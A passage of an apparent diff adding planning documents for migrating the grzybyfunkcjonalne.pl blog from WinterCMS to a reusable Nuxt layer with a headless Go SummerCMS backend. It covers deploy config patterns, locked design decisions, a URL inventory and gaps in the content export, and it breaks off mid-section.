||||
console.ExportPosts(p.app),
|
||||
console.ImportPosts(p.app),
|
||||
}
|
||||
}
|
||||
```
|
||||
Plugin skeleton: `sm-summercmsio-app/plugins/golem15/summercms/plugin.go` lines 9-40 and 76-78 (`ID()`, `Requires()`, `Register`, `Boot`, `func init() { party.Register(&Plugin{}) }`). Here implement `pact.HasCommands` instead of `HasRoutes`; store `app` in `Register`. Register in `summer.yaml` `plugins:` list (`id: golem15.grzyby`, module path) and regenerate `plugins.gen.go`/`main.go` with `summer build` (main.go is generated - do not hand-edit; it already appends `pact.HasCommands` commands). Whether the plugin lives as an in-repo directory (no separate module) is a planner decision; `go.work` must include it.
|
||||
|
||||
### `deploy/supervisor/*.conf`
|
||||
|
||||
**Analog:** `sm-summercmsio-app/deploy/supervisor/summercms-io.conf` (whole file):
|
||||
```ini
|
||||
[program:summercms-io]
|
||||
command=/srv/summercms-io/bin/summercms-io serve --addr 127.0.0.1:8095
|
||||
directory=/srv/summercms-io
|
||||
user=summercms
|
||||
environment=SUMMER_ENV="production"
|
||||
autostart=true
|
||||
autorestart=true
|
||||
startsecs=3
|
||||
stopsignal=TERM
|
||||
stopwaitsecs=15
|
||||
redirect_stderr=true
|
||||
stdout_logfile=/var/log/supervisor/summercms-io.log
|
||||
stdout_logfile_maxbytes=10MB
|
||||
stdout_logfile_backups=5
|
||||
```
|
||||
Duplicate for `[program:grzyby-nuxt]` with `command=node .output/server/index.mjs`, `environment=NITRO_HOST="127.0.0.1",NITRO_PORT="...",NUXT_JOURNAL_API_BASE="http://127.0.0.1:<go>/_journal/api/v1"`. Keep the header comment style (path on server, why `directory=` matters).
|
||||
|
||||
### `deploy/nginx/*.conf`
|
||||
|
||||
**Analog:** `sm-summercmsio-app/deploy/nginx/summercms.io.conf` - copy the HTTP→HTTPS + ACME block, the ssl/HSTS/gzip lines, and the per-path `location ^~` style (analog uses `location ^~ /backend { return 404; }`). New: `location ^~ /gfadmin` and `^~ /_journal` → Go upstream, `= /rss.xml` → Go `/_journal/api/v1/rss`, `^~ /storage/app/uploads/public/` and `^~ /storage/app/media/` → `alias` disk with `nosniff`, `/` → Nuxt upstream; `proxy_set_header Host $host` and `X-Forwarded-For` (Pitfalls 5, 6). Staging `server_name`, not the apex (D-10).
|
||||
|
||||
### `deploy/env.example`
|
||||
|
||||
**Analog:** `sm-summercmsio-app/deploy/env.example` (whole file: header with owner/mode, one commented line per key, `SUMMER_DATABASE__DSN`, `SUMMER_APP__KEY`, `SUMMER_ADMIN__JWT__SECRET`, `SUMMER_GOLEM15__USER__JWT__SECRET`). Add `SUMMER_URL=https://<staging host>` and the Nuxt keys (`NUXT_JOURNAL_API_BASE`, `NUXT_PUBLIC_GA_ID`), either in this file or a second `nuxt.env.example`.
|
||||
|
||||
### `scripts/build.sh`, `scripts/smoke.sh`, `scripts/check-deploy.sh`
|
||||
|
||||
**Analog:** `sm-summercmsio-app/scripts/*`. Conventions to copy:
|
||||
- Header usage comment, `set -euo pipefail`, `ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"`, `die()`/`fail()` to stderr, tool presence loop (`for tool in pnpm go ...; do command -v ...`), submodule presence check (`[[ -f "$SITE/package.json" ]] || die "... run git submodule update --init"`), `SUMMERCMS_FRAMEWORK` override, `release|dev` mode (build.sh lines 1-50).
|
||||
- smoke.sh (lines 1-60): postgres:15 via `docker run -d --rm -p 127.0.0.1::5432`, `pg_isready` loop, `trap cleanup EXIT` killing PID and container, env-overridable port. Extend: start Nuxt too, run migrate → set pl default (D-25 SQL `UPDATE golem15_translate_locales SET is_default = (code = 'pl')`) → import, then curl every line of `scripts/urls.txt` (71 sitemap URLs + static routes) for expected status.
|
||||
- build.sh adapts `nuxt generate` + embed to `pnpm build` producing `.output/` shipped next to the binary.
|
||||
|
||||
### Tests (plan 5)
|
||||
|
||||
- Layer/app TS: `node --test` per `tests/scrollSpy.test.ts` pattern above.
|
||||
- Go: plain `func TestX(t *testing.T)` per `sm-grzybyfunkcjonalne-app/boot_test.go` (lines 1-30: `compass.Load("config")`, `cfg.Set("admin.jwt.secret", ...)`, `backpack.New(cfg)`, `party.Activate(app, PluginIDs)`). Extend boot test to assert `/gfadmin` mount and the new command is in the catalog. Featured-image command tests use a temp source dir and an in-memory/`mem://` bucket (comment in `config/storage.yaml`: "mem:// in unit tests") and assert idempotency on second run.
|
||||
|
||||
## Shared Patterns
|
||||
|
||||
### Pinned toolchain
|
||||
**Source:** `vue-summercmsio-app/package.json`, `.nvmrc`. **Apply to:** both Nuxt repos. Exact versions, no carets.
|
||||
|
||||
### node --test with `.ts` imports
|
||||
**Source:** `vue-summercmsio-app/tests/*.test.ts`. **Apply to:** all TS unit tests; logic lives in `app/utils/*.ts` with no Nuxt auto-imports.
|
||||
|
||||
### Bonfire command + testable core
|
||||
**Source:** `sm-journal-plugin/console/import_posts.go:38-120`. **Apply to:** any app-local Go command.
|
||||
|
||||
### Deploy file headers
|
||||
**Source:** `sm-summercmsio-app/deploy/*`. **Apply to:** all deploy files: first comment names the server path and the reason for non-obvious settings; secrets never committed.
|
||||
|
||||
### Neutral README
|
||||
**Apply to:** `vue-journal-layer/README.md` - never name grzybyfunkcjonalne; use `blog`/`acme`.
|
||||
|
||||
## No Analog Found
|
||||
|
||||
| File | Role | Data Flow | Reason |
|
||||
|---|---|---|---|
|
||||
| `vue-journal-layer/modules/journal.ts` | Nuxt module | build-time | No Nuxt module or layer exists in the workspace; use RESEARCH Pattern 1 |
|
||||
| `useJournalApi.ts` / `client.ts` | client | request-response | summercms.io app is static and fetches nothing; RESEARCH Pattern 2 |
|
||||
| `server/api/__sitemap__/journal.ts` | server route | request-response | No Nitro server routes exist; RESEARCH Pattern 5 |
|
||||
| `app/utils/htmlGate.ts` | utility | transform | Port of Go `FormatHTML` gate regexes from `sm-journal-plugin/classes`; no TS precedent |
|
||||
| `scripts/migrate.sh` / runbook (D-25 order) | script | batch | No migration runbook script precedent; build from smoke.sh conventions |
|
||||
|
||||
## Metadata
|
||||
|
||||
**Analog search scope:** `sm-summercmsio-app/` (vue app, deploy, scripts, site plugin), `sm-grzybyfunkcjonalne-app/`, `sm-journal-plugin/console` and `plugin.go`, `summercms.go/modules/lagoon/attach`
|
||||
**Files scanned:** ~25
|
||||
**Pattern extraction date:** 2026-10-09
|
||||
@@ -0,0 +1,741 @@
|
||||
# Phase 16: grzybyfunkcjonalne.pl on reusable blog views - Research
|
||||
|
||||
**Researched:** 2026-10-09
|
||||
**Domain:** Nuxt 4 SSR layer (reusable Journal views) + Nuxt site app + headless SummerCMS Go host, WinterCMS content migration, two-process deploy
|
||||
**Confidence:** MEDIUM-HIGH (in-repo facts and live-site observations HIGH; Nuxt layer-over-git mechanics MEDIUM, need a Wave 0 spike)
|
||||
|
||||
<user_constraints>
|
||||
## User Constraints (from CONTEXT.md)
|
||||
|
||||
### Locked Decisions
|
||||
|
||||
#### Rendering approach (user-stated before discussion)
|
||||
- **D-01:** Build a new Nuxt theme following summercms standards (the `vue-summercmsio-app` setup: Nuxt 4, `@nuxtjs/i18n`, `@nuxtjs/seo`, `@nuxt/fonts`, pnpm, node `--test`). The styling is based on grzybyfunkcjonalne but refreshed, not a pixel copy of arsha/Bootstrap. Go stays headless. No Go `html/template` theme layer and no Twig port. — **Reversibility:** costly — every public page is a Nuxt page that consumes the Journal JSON API.
|
||||
|
||||
#### Reuse shape
|
||||
- **D-02:** The reusable blog views are a **Nuxt layer** in a new repo `vue-journal-layer` (`git.golem15.com/golem15/vue-journal-layer`). Site apps consume it with `extends`. — **Reversibility:** costly — later blogs build on the layer's structure.
|
||||
- **D-03:** The layer ships a **neutral base design driven by CSS custom-property tokens** (colors, fonts, spacing, radii). It looks clean on its own. Site apps override the tokens and can override any layer component. The refreshed grzyby design lives in the site app, not in the layer.
|
||||
- **D-04:** Distribution is a **pnpm git dependency** with a pinned tag: `git+https://git.golem15.com/golem15/vue-journal-layer.git#<tag>`, with the commit locked in `pnpm-lock.yaml`. There is no npm registry and no submodule for the layer. (`git.golem15.com` is Gitea 1.25.4, and a public repo needs no auth.) Local development uses `pnpm link` or a `link:../vue-journal-layer` override. A release is a git tag.
|
||||
- **D-05:** The layer owns these Journal views and their data access: post list with pagination (successor of `journalPosts`, with sort and page size configurable), single post (successor of `journalPost`: rendered markdown, featured image, meta, related/random posts like `randomPosts`), category and tag listings, the author page (successor of `journalAuthor`), and the RSS feed link. It also owns a typed client for `/_journal/api/v1` (anonymous GET routes only).
|
||||
- **D-06:** Route paths in the layer must be configurable or overridable by the app, because grzyby uses specific PHP URLs (D-15) that another blog may not want.
|
||||
|
||||
#### Render & deploy
|
||||
- **D-07:** **SSR**: `nuxt build` runs as a Node server, with `routeRules` swr/ISR caching so a newly published post shows up without a rebuild and pages stay full HTML for SEO. Unlike summercms.io (`nuxt generate` embedded in the binary), this site runs two processes: the Go binary and the Nuxt Node server. — **Reversibility:** costly — deploy scripts, supervisor and nginx topology depend on it.
|
||||
- **D-08:** The Nuxt app is a new repo `vue-grzybyfunkcjonalne-app`, mounted as a **submodule in `sm-grzybyfunkcjonalne-app`**, the same way `vue-summercmsio-app` is mounted in `sm-summercmsio-app`.
|
||||
- **D-09:** The admin is exposed on the site domain at **`/gfadmin`** (set with `backend.uri: /gfadmin` in the host config; cabana supports this without a framework change). nginx routes `/gfadmin` and `/_journal` (plus media/storage paths) to Go and everything else to Nuxt. PHP used `/backend`; the new path is intentional.
|
||||
- **D-10:** Deploy target is the **same server as the PHP site**. Staging runs next to the live Winter install. The later cutover switches nginx, and the Winter install stays as the rollback.
|
||||
|
||||
#### Non-Journal content
|
||||
- **D-11:** The homepage marketing content (hero, about, why-us, CTA and the other sitemanager blocks, `content/blocks/*`, `content/homepage`, `content/blog` headers, the kontakt page content) moves **into the Nuxt app repo** as components plus i18n/markdown, with the current Polish copy carried over. The sitemanager `enable_*` toggles are dropped, and the design decides which sections stay. No sitemanager or blocks plugin port.
|
||||
- **D-12:** The main menu (`g15_menu`) becomes typed config in the app, and the FAQ (`g15_faq` slug `what-mushrooms-can-give-you`) becomes static i18n/markdown content in the app. Both get proper plugins later; todos `menu-plugin-port.md` and `faq-plugin-port.md` were added.
|
||||
- **D-13:** SEO and sitemap use **`@nuxtjs/seo` in the layer**: per-post meta, OG tags, canonical, robots (honor the per-page `robots_noindex` equivalents), and `sitemap.xml` generated from `/_journal/api/v1` plus the app's static pages. This replaces `eagle_seo` and `Golem15.Sitemap` for this site. `sm-sitemap-plugin` stays on the backlog.
|
||||
- **D-14:** The contact and newsletter forms are **dropped**. The kontakt page shows contact details and an email link only, and the newsletter stays in backlog 999.1. No new Go endpoints.
|
||||
|
||||
#### URLs, i18n, migration, cutover
|
||||
- **D-15:** **The PHP public URLs stay identical**: `/`, `/blog` (with pagination), `/blog/:post`, `/autor/:author`, `/kontakt`, `/:category` (root-level catch-all, where known static routes take precedence), plus `/404` and `/error` behavior. Research must enumerate the real live URLs (including the pagination query/segment form and `trwaja-prace`) so none are lost. — **Reversibility:** one-way — search-indexed URLs; changing them later needs a 301 map.
|
||||
- **D-16:** **Polish only, i18n-ready**: `@nuxtjs/i18n` is wired in the layer and the app, the layer ships pl and en UI strings, and the site serves `pl` without a URL prefix. A later blog can enable more locales.
|
||||
- **D-17:** Content migration uses the Phase 15 **`journal:import-posts`** command fed by a PHP Journal export (the PHP repo already has `journal-export/*.json`), plus copying featured images and media into Go storage. Research must check that the export format matches the importer, and that slugs, authors, categories, tags, published dates and media references survive; it must flag gaps rather than patch over them.
|
||||
- **D-18:** **The phase stops at staging.** grzybyfunkcjonalne content runs end to end on staging (Go + Nuxt + imported posts) on the PHP site's server, with a smoke check that hits every old URL. The production switch is not a plan in this phase. Success criterion 1 counts as met once the site is served by SummerCMS on staging.
|
||||
|
||||
### Claude's Discretion
|
||||
- Plan count and split, subject to the plan-count checkpoint and "unit tests are the last plan" (the layer gets Vitest or `node --test` tests, and app-local Go code gets Go tests).
|
||||
- How the layer exposes route configuration (`app.config`, runtime config or pages override) and token names.
|
||||
- How markdown renders on the Nuxt side (render server-side from the API's markdown or HTML field, whichever the Phase 15 API returns), with sanitization consistent with Journal's XSS rules.
|
||||
- Exact swr/ISR TTLs, supervisor/nginx config and scripts layout, modeled on `sm-summercmsio-app/deploy` and `scripts/`.
|
||||
- Whether the refreshed visual direction gets a `/gsd-ui-phase` UI-SPEC before planning (recommended, not required).
|
||||
- Run the security-review agent only if new Go endpoints or auth surface appear. None are planned.
|
||||
|
||||
### Deferred Ideas (OUT OF SCOPE)
|
||||
- `sm-menu-plugin` port (todo `menu-plugin-port.md`)
|
||||
- `sm-faq-plugin` port (todo `faq-plugin-port.md`)
|
||||
- Sitemanager/blocks plugin port for editor-managed homepage sections
|
||||
- Contact form via a Go endpoint, and the newsletter signup (backlog 999.1)
|
||||
- English locale for grzybyfunkcjonalne.pl
|
||||
- Production cutover (nginx switch on the PHP server, Winter kept as rollback): an operational step after the phase
|
||||
|
||||
#### Reviewed Todos (not folded)
|
||||
- `sitemap-plugin-port.md`: superseded for this site by `@nuxtjs/seo` sitemap (D-13); stays on the backlog for a site that needs editor-defined sitemaps.
|
||||
- `nest-framework-packages-under-modules.md`, `2026-10-01-benchmark-the-application-on-wintercms-vs-summercms.md`, `2026-10-07-translate-messages-as-nuxt-i18n-json-editor.md`: keyword matches only, not this phase.
|
||||
</user_constraints>
|
||||
|
||||
<phase_requirements>
|
||||
## Phase Requirements
|
||||
|
||||
No REQUIREMENTS.md IDs are mapped to Phase 16 (ROADMAP `**Requirements**: TBD`). The success criteria are the requirement source:
|
||||
|
||||
| ID | Description | Research Support |
|
||||
|----|-------------|------------------|
|
||||
| SC-1 | grzybyfunkcjonalne.pl is served by a SummerCMS binary (Journal content, routing, i18n as the site needs); met on staging (D-18) | Deploy topology, nginx/supervisor sketches, migration runbook (default locale `pl` before import), smoke script over the 71 sitemap URLs + static routes |
|
||||
| SC-2 | Blog views live in a reusable place (`vue-journal-layer`) | Layer structure, `extendPages`-based configurable routes, tokens, i18n merge rules, pnpm git dependency mechanics |
|
||||
| SC-3 | Every public page PHP Journal + theme rendered has a named Go/Nuxt successor; sitemap if needed | URL inventory table (PHP file → URL → live status → Nuxt route), sitemap via `@nuxtjs/seo` dynamic source |
|
||||
| SC-4 | New code has unit tests in the last plan | Validation Architecture: `node --test` for layer/app TS utils, Go tests for host config/commands, smoke script |
|
||||
</phase_requirements>
|
||||
|
||||
## Summary
|
||||
|
||||
The Phase 15 API is usable for most of the layer, but four facts change the plan. Three are data facts and one is about the API:
|
||||
|
||||
1. **The live post URLs use the Polish translation slug, not the export's base slug.** `https://grzybyfunkcjonalne.pl/sitemap.xml` lists 62 post URLs. All 62 match `translations.pl.slug` (or the base slug when no pl translation exists), and 57 of them differ from the base `slug` (e.g. live `/blog/blogbadania-nad-cordycepsem` vs base `badania-nad-cordycepsem`; the base-slug URL returns 404 live). The Go translate plugin seeds `en` as the default locale. The importer writes base fields to the host columns and pl to `golem15_translate_attributes`, and `GET /posts/{slug}` matches only the host `slug` column. So with the seeded locales every live post URL would 404 on Go. **Fix without code:** make `pl` the default locale (admin `makeDefault` action or SQL) **before** running `journal:import-posts`. `SetTranslated` then writes the pl values onto the host columns, so the API serves pl title/content/slug directly. [VERIFIED: live sitemap + export diff; sm-translate-plugin/updates/202610060005_seed_en_pl_locales.go:13-18; translatable.go:192-201; posts_helpers.go:55-60]
|
||||
2. **The export lacks data the site needs:** no author, no tags, no featured images (the PHP exporter skips attachments), no category names, descriptions or category "pillar" content. Category pages on the live site render about 13 KB of pillar HTML per mushroom (`category.content`). The Go `Category` model has no `content` column, and the API does not return one. Recommend that category pillar content and descriptions move into the Nuxt app as content keyed by category slug. That matches the D-11 treatment of non-Journal content and needs no API change, but it needs user confirmation (A3).
|
||||
3. **The API cannot serve an author page (D-05) as specified.** No author endpoint exists. The `author` list filter is editor-only. The serialized author is only `{id, first_name, last_name, login}`, with no slug, bio, avatar or subtitle. `sort=random` is not supported, but `related_posts` (latest 3 in the same categories) comes back with every single-post response and is the natural `randomPosts` successor. The author route is not linked anywhere on the live site and is not in the live sitemap. Imported posts also have no author. **Decision needed (Open Question 1).**
|
||||
4. **Saving an imported post in the admin would destroy its body.** The pl `content` is HTML, not markdown. `classes.FormatHTML` (goldmark without unsafe HTML) turns HTML content into `<!-- raw HTML omitted -->`. The importer is safe because the pl `content_html` translation overwrites the host column afterwards. But editing an imported post in `/gfadmin` would run `FormatHTML` again and wipe the rendered body. [VERIFIED: probe run this session, output pasted under Pitfall 2]
|
||||
|
||||
**Primary recommendation:** Build `vue-journal-layer` as a Nuxt 4.4.8 layer:
|
||||
- Its page components sit outside `app/pages`, and a local module registers them with `extendPages`. Paths come from a `journal.routes` config key the app overrides. Route names stay stable.
|
||||
- A typed `$fetch` client calls `/_journal/api/v1`: an internal base URL on the server (forwarding `X-Forwarded-For`), same-origin from the browser.
|
||||
- `@nuxtjs/i18n` 10.4.0 and `@nuxtjs/seo` 5.2.1 run with a dynamic sitemap source.
|
||||
|
||||
The site is `vue-grzybyfunkcjonalne-app` with `extends: ['vue-journal-layer']`, the grzyby tokens and static content, and `routeRules: { '/**': { swr: 300 } }`. It runs as `node .output/server/index.mjs` under supervisor next to the Go binary. nginx sends `/gfadmin`, `/_journal` and `/storage/app/**` to Go or disk, and everything else to Nuxt. Migration order: migrate → set pl default → import → fix category names and descriptions → copy media and featured images → smoke every old URL.
|
||||
|
||||
## Architectural Responsibility Map
|
||||
|
||||
| Capability | Primary Tier | Secondary Tier | Rationale |
|
||||
|------------|-------------|----------------|-----------|
|
||||
| Post/category/tag data, drafts, publish gate | API / Backend (Go `sm-journal-plugin`) | Database (Postgres) | Frozen contract (Phase 15 D-14); the layer is read-only |
|
||||
| Public HTML for every URL (SSR) | Frontend Server (Nuxt Nitro node-server) | — | D-07: full HTML for SEO, swr cache |
|
||||
| Route paths (`/blog/:post`, `/:category`, `/autor/:author`) | Frontend Server (layer route module + app config) | — | D-06/D-15: URL shape is a site concern, so the Go API stays path-agnostic |
|
||||
| HTML gate on `content_html` | API (Go `FormatHTML` on admin/API save) | Frontend Server (layer TS port of the same 3 regexes) | Imported translations bypass `FormatHTML`; defense in depth (see Security) |
|
||||
| sitemap.xml, robots.txt, canonical/OG | Frontend Server (`@nuxtjs/seo`) | API (data source) | D-13 replaces eagle_seo + Golem15.Sitemap |
|
||||
| RSS | API (Go `/_journal/api/v1/rss`) | Frontend Server (`/rss.xml` alias via nginx rewrite or Nitro proxy) | Live pages advertise `/rss.xml`; Go owns the feed |
|
||||
| Uploaded files (featured images, media) | CDN / Static (nginx serving `storage/app/**` from disk) | API (Go writes `system_files`) | The Go host mounts no static handler (see Pitfall 7) |
|
||||
| Admin `/gfadmin` | API / Backend (cabana + boardwalk SPA) | — | D-09 |
|
||||
| Homepage, kontakt, FAQ, menu, category pillar copy | Frontend Server (site app content) | — | D-11/D-12; A3 for pillar content |
|
||||
|
||||
## Project Constraints (from CLAUDE.md)
|
||||
|
||||
- Lean planning: few large plans; **present the plan count with one-line scopes and wait for confirmation before writing PLAN.md files** (rule 2). [VERIFIED: summercms.go/CLAUDE.md]
|
||||
- **Unit tests are always the last plan of the phase**; earlier plans may carry smoke tests only (rule 3).
|
||||
- Go: standard library first; add a dependency only when the research doc or a phase decision names it; `go vet` and `go test ./...` green at every commit in every Go repo touched (`sm-grzybyfunkcjonalne-app`, and `sm-journal-plugin` only if touched).
|
||||
- Compiled plugins only; no runtime plugin loading.
|
||||
- Commits: no co-author tags; one logical change per commit; planning docs and code in separate commits.
|
||||
- Framework/plugin/layer READMEs never name a consuming application. The `vue-journal-layer` README uses `blog`/`acme` and never "grzybyfunkcjonalne". `modules/*` README updates apply only if `summercms.go` is touched (not planned).
|
||||
- Core plugin contracts (user, blog, pages, payment) must not break; `sm-journal-plugin` API contract is frozen (Phase 15 D-14, CONTEXT "Out of scope").
|
||||
- Submodule workflow (`.planning/notes/core-plugins-own-repos.md`): commit inside the submodule and push first, then bump the gitlink in the app repo as a separate commit; never stage submodule files from the app repo.
|
||||
- Global user rule: no co-authored tags in commits.
|
||||
|
||||
## URL Inventory (D-15)
|
||||
|
||||
Sources: theme page files [VERIFIED: Read `themes/arsha/pages/*.htm` lines 1-3], Winter router sort [VERIFIED: `vendor/winter/storm/src/Router/Router.php:250-264` "Sorts all the routing rules by static segments, then dynamic"], live probes with curl on 2026-10-09 [VERIFIED: live HTTP], live `sitemap.xml` (71 `<loc>`: `/`, `/blog`, 7 category roots, 62 posts) [VERIFIED: live HTTP].
|
||||
|
||||
**Note:** the live server does not run the code in the local PHP repo. It serves theme `pkurg-arsha` (asset paths `/themes/pkurg-arsha/...`), `/kontakt` returns 404 live, and an unknown `/:x` renders a page titled "Kategoria". Its page config matches `sources/grzybyfunkcjonalne.pl-old-golem/themes/arsha` (Golem15.Blog components `blogPosts`/`blogPost`). The URL patterns are identical in both trees. The table uses live status as the ground truth.
|
||||
|
||||
| PHP page file | `url =` (verbatim) | Components / behavior | Live status (2026-10-09) | Nuxt successor (route name → path) |
|
||||
|---|---|---|---|---|
|
||||
| `category.htm` | `url = "/"` | homepage partial; `journalPostsHomepage` postsPerPage 3; `g15_faq` slug `what-mushrooms-can-give-you` | 200 | app page `index` → `/` |
|
||||
| `blog.htm` | `url = "/blog"` | `journalPosts` postsPerPage 12, sort `published_at desc` | 200; `/blog?page=2` 200 (title "Artykuły \| Strona 2", canonical keeps `?page=2`); `/blog?page=99` 200 empty; `/blog?page=abc` 200 | layer `journal-index` → `/blog`, `?page=N` |
|
||||
| `blog-post.htm` | `url = "/blog/:post"` | `journalPost` + `randomPosts` (3, `random`) | 200 for pl slug; 404 for base slug, unknown and unpublished | layer `journal-post` → `/blog/:slug` |
|
||||
| `index.htm` | `url = "/:category"` | category filter postsPerPage 10; **no category → homepage partial, status 200** (soft 404) | `/reishi` 200, `/reishi?page=2` 200; `/nieistnieje`, `/rss`, `/feed`, `/rss.xml` all 200 (soft) | layer `journal-category` → `/:category`; **404 when the slug is not a category** |
|
||||
| `autor.htm` | `url = "/autor/:author"` | `journalAuthor` + `journalPosts` (10) | `/autor/admin` 200 ("Admin Person"), canonical broken (`/autor/`); `/author/admin` 404 | layer `journal-author` → `/autor/:author` (see Open Question 1) |
|
||||
| `kontakt.htm` | `url = "/kontakt"` | `content-kontakt` (2 headings) | **404 live** | app page `kontakt` → `/kontakt` (D-14 contact details) |
|
||||
| `trwaja-prace.htm` | `url = "/trwaja-prace"` | `<h3>Niebawem</h3>` | 200 | app page `trwaja-prace` → `/trwaja-prace` (keep; static) |
|
||||
| `404.htm` | `url = "/404"` | error hero | 404 | Nuxt `error.vue` (no explicit route; `/404` falls to 404) |
|
||||
| `error.htm` | `url = "/error"` | 500 hero | 404 live | Nuxt `error.vue` handles 500; `/error` falls to 404 as live |
|
||||
|
||||
**Non-page URLs served by PHP:**
|
||||
|
||||
| URL | Source | Live | Successor |
|
||||
|---|---|---|---|
|
||||
| `/sitemap.xml` | `plugins/golem15/sitemap/routes.php` (definition: url `/`, all-blog-categories, all-blog-posts) | 200 XML | `@nuxtjs/sitemap` (via `@nuxtjs/seo`) with a dynamic source from the API |
|
||||
| `/sitemap.xsl` | same | 200 | dropped (cosmetic; the sitemap module ships its own XSL) [ASSUMED] |
|
||||
| `/robots.txt` | `plugins/golem15/seo/routes.php` | 200, body is the literal `Golem15` (broken) | `@nuxtjs/robots` (via `@nuxtjs/seo`) |
|
||||
| `/rss.xml` | `<link rel="alternate" ... href="/rss.xml">` in every live page head, but it is the soft-200 catch-all | 200 HTML (wrong) | **New:** nginx `location = /rss.xml` → Go `/_journal/api/v1/rss`, or a Nitro route proxy |
|
||||
| `/backend` | Winter admin | 200 | `/gfadmin` (D-09); `/backend` → 404 on the Go host (D-09 intentional) |
|
||||
| `/storage/app/uploads/public/**` | Winter uploads + `thumb_*` | 200 | nginx static from Go host disk |
|
||||
| `/storage/app/media/**` | media library (`las.webp`, `Artur Wolak.png` referenced by 32 post bodies) | 200 | nginx static from Go host disk |
|
||||
|
||||
**Internal link forms found on live pages** (smoke targets): `/blog?page=N`, `/<category>` (7), `/blog/<pl-slug>`. Broken links, which stay broken or get fixed but must not be reproduced: `/blog/<category>?page=N` (category pagination partial bug; live 404) and `/author/` (journalAuthor partial). [VERIFIED: live HTML link extraction; `partials/pagination.htm:1-12`]
|
||||
|
||||
**Routing rules for the successor:**
|
||||
- Static routes (`/blog`, `/kontakt`, `/trwaja-prace`) must beat `/:category`. Vue Router ranks by path specificity, and "The order of the `routes` array doesn't even matter!" [CITED: router.vuejs.org/guide/essentials/route-matching-syntax]. Static-over-param precedence itself is [ASSUMED] and is covered by the URL smoke test.
|
||||
- Category pagination successor: `/<category>?page=N` (live works). Do not generate `/blog/<category>?page=N`.
|
||||
- Pagination: `?page=N` query, not a segment. Recommend `page` > `last_page` → 404 and non-numeric → 404, both via `createError({ statusCode: 404, fatal: true })`. This differs from live (soft 200) but is SEO-correct (A5).
|
||||
- Canonical for paginated lists must keep `?page=N`, as live does. `nuxt-seo-utils` strips queries from canonical except a whitelist; `page` is believed to be in the default whitelist [ASSUMED]. The smoke test asserts it.
|
||||
|
||||
## Journal Export vs Importer (D-17)
|
||||
|
||||
Export: 105 files in `/media/nvme/dev/golem15/grzybyfunkcjonalne.pl/journal-export/`. 63 are published and 42 are drafts. 100 have a `pl` translation. Keys in every file: `slug, title, content, content_html, excerpt, metadata, published, published_at, categories, translations`. [VERIFIED: python scan this session]
|
||||
|
||||
Importer struct [VERIFIED: sm-journal-plugin/console/export_posts.go:53-67], verbatim fields: `Slug`, `Title`, `Content`, `ContentHTML`, `Excerpt`, `Metadata`, `Sources`, `Published`, `PublishedAt`, `Categories []string`, `Translations map[string]map[string]any`, `AuthorEmail string json:"author_email,omitempty"`, `CategoryNames map[string]string json:"category_names,omitempty"`.
|
||||
|
||||
| Item | Export has | Importer does | Survives? | Gap / action |
|
||||
|---|---|---|---|---|
|
||||
| Slug (live URL) | base `slug` + `translations.pl.slug` (57 differ; live = pl) | host `slug` = base; then `SetTranslated(pl)`; writes host if pl is default (`if locale == defaultCode { ... tx.Model(m).Update(column, ...) }`) | **Only if pl is the default locale before import** | Seed default is `'en', 'English', TRUE` / `'pl', 'Polski', FALSE` [VERIFIED: 202610060005_seed_en_pl_locales.go:13-18]. Set pl default first (admin Locales `makeDefault`, or SQL). |
|
||||
| Title / excerpt / content / content_html | base (older text; 52 titles, 100 contents differ) + pl (live text) | same mechanism; `stripUnpublishedTitlePrefix` removes `🔒 ` | Yes with pl default | Without pl default the API serves stale base text |
|
||||
| content format | published posts: base = markdown, pl `content` = **HTML** (61/63) | `FormatHTML(post.Content)` on base, then pl `content_html` overwrites | Yes at import | **Admin re-save destroys body** (Pitfall 2) |
|
||||
| published / published_at | `"2024-06-24 06:00:00"` style, UTC (PHP `'timezone' => 'UTC'`) | `parsePublishedAt` accepts `"2006-01-02 15:04:05"` | Yes | none |
|
||||
| Categories | slug list only (`cordyceps, reishi, chaga, shiitake, lions-mane, turkey-tail`; `amanita-muscaria` only on drafts) | creates missing category with `titleFromSlug` → "Lions Mane" (live "Lion's Mane") | Slugs yes; names partly; **no description, no pillar content** | Fix names and descriptions in `/gfadmin` (7 rows) or a seed step; pillar content → app (A3) |
|
||||
| Authors | **absent** (no `author_email`) | `user_id` stays nil | **No** | Posts render without author; author page empty (Open Question 1) |
|
||||
| Tags | **absent** (PHP exporter has no tags) | none | n/a | Live site uses no tags; tag route can be disabled for this site |
|
||||
| Featured images | **absent** (PHP `ExportPosts.php` warns "File attachments ... are NOT included") | none | **No** | Separate migration step (below) |
|
||||
| Inline media refs | absolute `https://grzybyfunkcjonalne.pl/storage/app/media/Artur%20Wolak.png` (32 occurrences) and `https://gf.uat.golem15.com/storage/app/uploads/public/660/fc7/c2e/660fc7c2e04d0300676113.png` (2) | stored verbatim | Yes if nginx serves `/storage/app/media/` | Copy `storage/app/media/`; the 2 UAT-host refs are already broken (flag, do not fix in this phase) |
|
||||
| Internal links in bodies | `https://grzybyfunkcjonalne.pl/lions-mane`, `/turkey-tail` (2 each) | verbatim | Yes (category routes kept) | none |
|
||||
| Re-import idempotency | — | existence check `db.Where("slug = ?", data.Slug)` uses base slug | **Breaks with pl default**: host slug becomes the pl slug, so a `--force` re-run does not find the row, creates a new one, and then hits `golem15_journal_posts_slug_unique` on the pl slug and rolls back the whole transaction | Run import once into a fresh DB; to redo, drop and re-migrate (Pitfall 3) |
|
||||
| Post IDs | not exported | new IDs | n/a | Featured-image mapping must key on slug |
|
||||
| Per-post SEO overrides (`golem15_seo_pages`) | not exported | n/a | No | Live post `<title>` = post title + " \| Grzyby Funkcjonalne"; derive from post fields (A6) |
|
||||
|
||||
**Featured images: recommended path.** The source of truth is the PHP DB on the server (live `system_files` with `field = 'featured_images'`). The local `storage/app/uploads/public` is unreadable to this user and the local `gf_old.sql` is a 2024 Golem15.Blog dump. Two options:
|
||||
